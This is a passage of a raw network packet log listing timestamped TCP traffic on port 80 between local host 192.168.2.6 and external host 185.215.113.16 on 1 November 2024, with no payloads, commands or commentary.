Nov 1, 2024 03:46:13.110129118 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.110193014 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.110205889 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.110218048 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.110230923 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.110233068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.110248089 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.110256910 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.110276937 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.110786915 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.110800028 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.110812902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.110831976 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.110842943 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.163839102 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.164041042 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.164320946 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.164335012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.164354086 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.164369106 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.164369106 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.164397955 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.164427042 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.164966106 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.164988041 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.165003061 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.165016890 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.165030956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.165088892 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.165133953 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.165405035 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.165420055 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.165433884 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.165451050 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.165463924 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.165477991 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.165482998 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.165534019 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.166471004 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.166486979 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.166498899 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.166516066 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.166527987 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.166529894 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.166544914 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.166573048 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.166608095 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.167171001 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.167186022 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.167201042 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.167215109 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.167218924 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.167228937 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.167242050 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.167243958 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.167289972 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.168036938 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.168051004 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.168064117 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.168077946 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.168087959 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.168093920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.168112040 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.168137074 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.168826103 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.168838978 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.168879032 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.206053972 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.206120968 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.206219912 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.206233025 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.206265926 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.206279993 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.225610971 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.225646973 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.225661993 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.225683928 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.225713968 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.225914955 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.225928068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.225944996 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.225963116 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.225964069 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.226006985 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.226506948 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.226560116 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.227354050 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.227406025 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.227477074 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.227490902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.227526903 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.227675915 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.227689981 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.227725029 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.227741957 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.227993965 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.228049994 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.228122950 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.228137016 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.228151083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.228166103 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.228188992 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.228241920 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.228622913 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.228637934 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.228652954 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.228668928 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.228703976 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.268454075 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.268529892 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.268893003 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.268954992 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.276186943 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.276251078 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.276257992 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.276276112 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.276312113 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.276335001 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.276381016 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.276427984 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.276463032 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.276509047 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.276571989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.276621103 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.276679993 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.276695013 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.276710033 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.276726961 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.276767015 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.277086020 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.277141094 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.277194977 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.277244091 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.277400970 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.277414083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.277427912 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.277442932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.277450085 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.277492046 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.277761936 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.277774096 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.277813911 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.277863979 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.277982950 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.277995110 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.278007030 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.278023005 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.278038979 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.278053045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.278054953 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.278079987 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.278127909 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.278717995 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.278733969 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.278747082 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.278760910 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.278770924 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.278775930 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.278800964 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.278836012 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.279441118 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.279454947 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.279468060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.279481888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.279491901 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.279505014 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.279520988 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.279566050 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.280153036 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.280168056 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.280180931 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.280203104 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.280209064 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.280217886 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.280247927 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.280287981 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.280978918 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.280993938 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.281006098 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.281037092 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.281090021 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.325634956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.325759888 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.325792074 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.325804949 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.325834036 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.325859070 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.325936079 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.325973988 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.344408989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.344485998 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.344525099 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.344542027 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.344563007 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.344583988 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.344722033 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.344737053 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.344768047 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.344784975 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.344870090 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.344885111 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.344901085 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.344918013 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.344947100 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.345171928 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.345184088 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.345196962 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.345211029 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.345227957 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.345253944 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.346064091 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.346081972 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.346095085 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.346112013 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.346148014 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.346411943 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.346441031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.346474886 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.346508026 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.346709013 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.346752882 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.346853971 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.346865892 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.346901894 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.347136974 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.347152948 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.347167015 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.347182035 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.347209930 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.347645044 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.347692013 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.387279987 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.387351990 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.387402058 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.387417078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.387454987 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.395024061 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.395037889 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.395051956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.395107985 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.395157099 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.395318985 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.395329952 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.395343065 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.395365000 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.395397902 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.395514965 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.395528078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.395548105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.395554066 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.395592928 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.395951033 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.395998955 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.396122932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396136999 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396167040 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.396187067 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.396495104 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396508932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396522999 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396534920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396536112 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.396563053 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.396593094 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.396929979 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396941900 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396954060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396969080 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396972895 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.396982908 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.396996975 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.397032976 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.397068024 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.397105932 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.397834063 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.397880077 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.397964001 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.397979021 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.397994041 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.398009062 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.398010015 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.398022890 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.398030996 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.398065090 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.399004936 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399019003 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399032116 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399045944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399049997 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.399060011 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399075031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399089098 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399095058 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.399138927 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.399776936 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399791956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399806976 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399818897 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.399827003 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399854898 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.399893045 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.399914026 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399930000 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.399950981 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.399976969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.400573969 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.400618076 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.442797899 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.442919970 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.442928076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.442939997 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.442975998 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.442994118 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.443095922 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.443133116 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.461637020 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.461699009 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.461702108 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.461714029 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.461741924 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.461764097 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.461863995 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.461879015 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.461894035 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.461914062 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.461944103 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.462251902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.462265968 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.462281942 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.462299109 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.462337017 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.462697029 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.462709904 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.462740898 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.462771893 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.463232994 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.463277102 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.463378906 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.463392019 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.463427067 CET	58524	80	192.168.2.6	185.215.113.16
